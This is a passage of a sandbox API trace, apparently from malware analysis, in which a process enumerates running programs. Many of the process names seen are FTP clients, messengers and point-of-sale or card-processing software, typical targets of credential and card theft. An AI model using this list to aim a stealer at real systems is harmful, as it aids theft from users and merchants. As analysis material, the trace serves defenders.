th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="thunderbird.exe")) returned 1 [0224.361] Process32Next (in: hSnapshot=0x15f0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xf3c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="trillian.exe")) returned 1 [0224.363] Process32Next (in: hSnapshot=0x15f0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xf44, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="webdrive.exe")) returned 1 [0224.365] Process32Next (in: hSnapshot=0x15f0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xf54, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="whatsapp.exe")) returned 1 [0224.367] Process32Next (in: hSnapshot=0x15f0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xf68, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="winscp.exe")) returned 1 [0224.369] Process32Next (in: hSnapshot=0x15f0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xf70, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="active-charge.exe")) returned 1 [0224.371] Process32Next (in: hSnapshot=0x15f0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xf78, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="yahoomessenger.exe")) returned 1 [0224.373] Process32Next (in: hSnapshot=0x15f0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xf84, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="accupos.exe")) returned 1 [0224.374] Process32Next (in: hSnapshot=0x15f0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xf8c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="ccv_server.exe")) returned 1 [0224.376] Process32Next (in: hSnapshot=0x15f0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xf94, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="aldelo.exe")) returned 1 [0224.427] Process32Next (in: hSnapshot=0x15f0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xf9c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="afr38.exe")) returned 1 [0224.429] Process32Next (in: hSnapshot=0x15f0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xfa4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="centralcreditcard.exe")) returned 1 [0224.431] Process32Next (in: hSnapshot=0x15f0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xfac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="creditservice.exe")) returned 1 [0224.433] Process32Next (in: hSnapshot=0x15f0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xfb4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="edcsvr.exe")) returned 1 [0224.435] Process32Next (in: hSnapshot=0x15f0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xfec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="fpos.exe")) returned 1 [0224.437] Process32Next (in: hSnapshot=0x15f0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xff4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="isspos.exe")) returned 1 [0224.438] Process32Next (in: hSnapshot=0x15f0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xffc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="mxslipstream.exe")) returned 1 [0224.440] Process32Next (in: hSnapshot=0x15f0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x34c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="omnipos.exe")) returned 1 [0224.441] Process32Next (in: hSnapshot=0x15f0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1008, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="spgagentservice.exe")) returned 1 [0224.443] Process32Next (in: hSnapshot=0x15f0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1018, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="spcwin.exe")) returned 1 [0224.444] Process32Next (in: hSnapshot=0x15f0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1020, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="utg2.exe")) returned 1 [0224.446] Process32Next (in: hSnapshot=0x15f0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1030, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="nowstudy.exe")) returned 1 [0224.448] Process32Next (in: hSnapshot=0x15f0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x103c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="talk personal.exe")) returned 1 [0224.450] Process32Next (in: hSnapshot=0x15f0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1048, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="evening.exe")) returned 1 [0224.451] Process32Next (in: hSnapshot=0x15f0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1050, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="entire.exe")) returned 1 [0224.453] Process32Next (in: hSnapshot=0x15f0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1058, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="figure.exe")) returned 1 [0224.455] Process32Next (in: hSnapshot=0x15f0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x10ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x17, th32ParentProcessID=0x158, pcPriClassBase=8, dwFlags=0x0, szExeFile="iexplore.exe")) returned 1 [0224.457] Process32Next (in: hSnapshot=0x15f0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x113c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x274, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0224.459] Process32Next (in: hSnapshot=0x15f0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x138c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x390, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0224.460] Process32Next (in: hSnapshot=0x15f0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xc84, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x274, pcPriClassBase=8, dwFlags=0x0, szExeFile="backgroundTaskHost.exe")) returned 1 [0224.461] Process32Next (in: hSnapshot=0x15f0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xcb0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x360, pcPriClassBase=6, dwFlags=0x0, szExeFile="bcatcih")) returned 1 [0224.463] Process32Next (in: hSnapshot=0x15f0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xb8c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="311B.exe")) returned 1 [0224.464] Process32Next (in: hSnapshot=0x15f0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xb8c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="311B.exe")) returned 0 [0224.466] CloseHandle (hObject=0x15f0) returned 1 [0224.466] Sleep (dwMilliseconds=0x64) [0224.504] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x15f0 [0224.515] Process32First (in: hSnapshot=0x15f0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0224.517] Process32Next (in: hSnapshot=0x15f0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x72, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0224.519] Process32Next (in: hSnapshot=0x15f0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x138, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0224.520] Process32Next (in: hSnapshot=0x15f0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x184, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x17c, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0224.521] Process32Next (in: hSnapshot=0x15f0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1c0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x17c, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0224.523] Process32Next (in: hSnapshot=0x15f0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x15, th32ParentProcessID=0x1b8, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0224.524] Process32Next (in: hSnapshot=0x15f0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1fc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x1b8, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0224.526] Process32Next (in: hSnapshot=0x15f0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x214, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x1c0, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0224.527] Process32Next (in: hSnapshot=0x15f0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x21c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x1c0, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0224.529] Process32Next (in: hSnapshot=0x15f0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x274, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0224.530] Process32Next (in: hSnapshot=0x15f0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x294, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0224.532] Process32Next (in: hSnapshot=0x15f0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x30c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x1fc, pcPriClassBase=13, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0224.533] Process32Next (in: hSnapshot=0x15f0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x360, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x48, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0224.535] Process32Next (in: hSnapshot=0x15f0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x378, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1c, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0224.536] Process32Next (in: hSnapshot=0x15f0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x390, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x16, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0224.537] Process32Next (in: hSnapshot=0x15f0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x3a0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0224.539] Process32Next (in: hSnapshot=0x15f0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x3f4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x19, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0224.540] Process32Next (in: hSnapshot=0x15f0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x210, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x11, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0224.542] Process32Next (in: hSnapshot=0x15f0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x460, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x18, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0224.543] Process32Next (in: hSnapshot=0x15f0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x4e0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0224.545] Process32Next (in: hSnapshot=0x15f0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x54c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x360, pcPriClassBase=8, dwFlags=0x0, szExeFile="sihost.exe")) returned 1 [0224.546] Process32Next (in: hSnapshot=0x15f0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x604, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x274, pcPriClassBase=8, dwFlags=0x0, szExeFile="RuntimeBroker.exe")) returned 1 [0224.548] Process32Next (in: hSnapshot=0x15f0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x64c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0224.600] Process32Next (in: hSnapshot=0x15f0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x7b4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2a, th32ParentProcessID=0x798, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0224.602] Process32Next (in: hSnapshot=0x15f0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x7ec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x360, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhostw.exe")) returned 1 [0224.604] Process32Next (in: hSnapshot=0x15f0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x894, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1d, th32ParentProcessID=0x274, pcPriClassBase=8, dwFlags=0x0, szExeFile="ShellExperienceHost.exe")) returned 1 [0224.606] Process32Next (in: hSnapshot=0x15f0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x908, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1f, th32ParentProcessID=0x274, pcPriClassBase=8, dwFlags=0x0, szExeFile="SearchUI.exe")) returned 1 [0224.608] Process32Next (in: hSnapshot=0x15f0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xbc4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0224.610] Process32Next (in: hSnapshot=0x15f0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xa04, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="sppsvc.exe")) returned 1 [0224.612] Process32Next (in: hSnapshot=0x15f0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xaac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x360, pcPriClassBase=8, dwFlags=0x0, szExeFile="WMIADAP.exe")) returned 1 [0224.614] Process32Next (in: hSnapshot=0x15f0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x774, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x274, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0224.616] Process32Next (in: hSnapshot=0x15f0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x158, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="iexplore.exe")) returned 1 [0224.617] Process32Next (in: hSnapshot=0x15f0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xd10, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="pay.exe")) returned 1 [0224.619] Process32Next (in: hSnapshot=0x15f0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xd18, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="stay agreement figure.exe")) returned 1 [0224.621] Process32Next (in: hSnapshot=0x15f0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xd20, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="focus-mr.exe")) returned 1 [0224.623] Process32Next (in: hSnapshot=0x15f0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xd28, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="democrat save after.exe")) returned 1 [0224.625] Process32Next (in: hSnapshot=0x15f0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xd30, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="happychoicepolicy.exe")) returned 1 [0224.627] Process32Next (in: hSnapshot=0x15f0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xd38, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="half.exe")) returned 1 [0224.629] Process32Next (in: hSnapshot=0x15f0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xd40, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="riskfail.exe")) returned 1 [0224.631] Process32Next (in: hSnapshot=0x15f0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xd48, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="something.exe")) returned 1 [0224.633] Process32Next (in: hSnapshot=0x15f0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xd50, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="for.exe")) returned 1 [0224.634] Process32Next (in: hSnapshot=0x15f0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xd98, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="rate year do.exe")) returned 1 [0224.636] Process32Next (in: hSnapshot=0x15f0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xda0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="nearly_cover_oil.exe")) returned 1 [0224.638] Process32Next (in: hSnapshot=0x15f0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xda8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="tell.exe")) returned 1 [0224.640] Process32Next (in: hSnapshot=0x15f0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xdbc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="learn night rather.exe")) returned 1 [0224.642] Process32Next (in: hSnapshot=0x15f0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xdc8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="3dftp.exe")) returned 1 [0224.694] Process32Next (in: hSnapshot=0x15f0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xdd4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="filezilla.exe")) returned 1 [0224.696] Process32Next (in: hSnapshot=0x15f0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xddc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="former.exe")) returned 1 [0224.697] Process32Next (in: hSnapshot=0x15f0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xde8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="barca.exe")) returned 1 [0224.698] Process32Next (in: hSnapshot=0x15f0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xe00, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="bitkinex.exe")) returned 1 [0224.700] Process32Next (in: hSnapshot=0x15f0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xe08, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="coreftp.exe")) returned 1 [0224.701] Process32Next (in: 